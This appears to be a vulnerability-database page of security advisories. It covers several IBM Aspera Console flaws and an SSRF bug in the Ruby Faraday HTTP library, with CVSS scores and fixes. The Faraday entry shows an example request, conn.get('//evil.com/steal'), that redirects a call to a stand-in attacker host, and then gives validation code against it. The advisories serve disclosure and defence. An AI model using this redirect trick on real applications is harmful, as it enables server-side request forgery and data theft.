Where
AND
-Infinity
0
First published (updated )
Advisory
IBM-7263486
Severity
4.9
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L

IBM Aspera Console 3.3.0 through 3.4.8 could allow a privileged user to cause a denial of service due to improper enforcement of behavioral workflow.

1 / 2
Source: MITRE

Remedy

Remediation/Fixes It is strongly recommended that customers upgrade to the latest version of IBM Aspera Console: Product(s) Fixing VRM Platform Link to Fix IBM Aspera Console 3.4.9 Windows Link IBM Aspera Console 3.4.9 Linux Link
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

IBM Aspera Console 3.3.0 through 3.4.8 could allow an attacker to enumerate usernames due to an observable response discrepancy.

1 / 2
Source: MITRE

Remedy

Remediation/Fixes It is strongly recommended that customers upgrade to the latest version of IBM Aspera Console: Product(s) Fixing VRM Platform Link to Fix IBM Aspera Console 3.4.9 Windows Link IBM Aspera Console 3.4.9 Linux Link
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

IBM Aspera Console 3.3.0 through 3.4.8 could allow an authenticated user to cause a denial of service in the email service due to improper control of interaction frequency.

1 / 2
Source: MITRE

Remedy

Remediation/Fixes It is strongly recommended that customers upgrade to the latest version of IBM Aspera Console: Product(s) Fixing VRM Platform Link to Fix IBM Aspera Console 3.4.9 Windows Link IBM Aspera Console 3.4.9 Linux Link
First published (updated )
Severity
5.8
EPSS
0.01%
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Impact

Faraday's buildexclusiveurl method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), buildurl(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example: ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

- Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation: ruby def safepath(userinput) raise ArgumentError, "Invalid path" if userinput.match?(%r{\A//[^/]}) userinput end

1 / 2
Source: GitHub
First published (updated )

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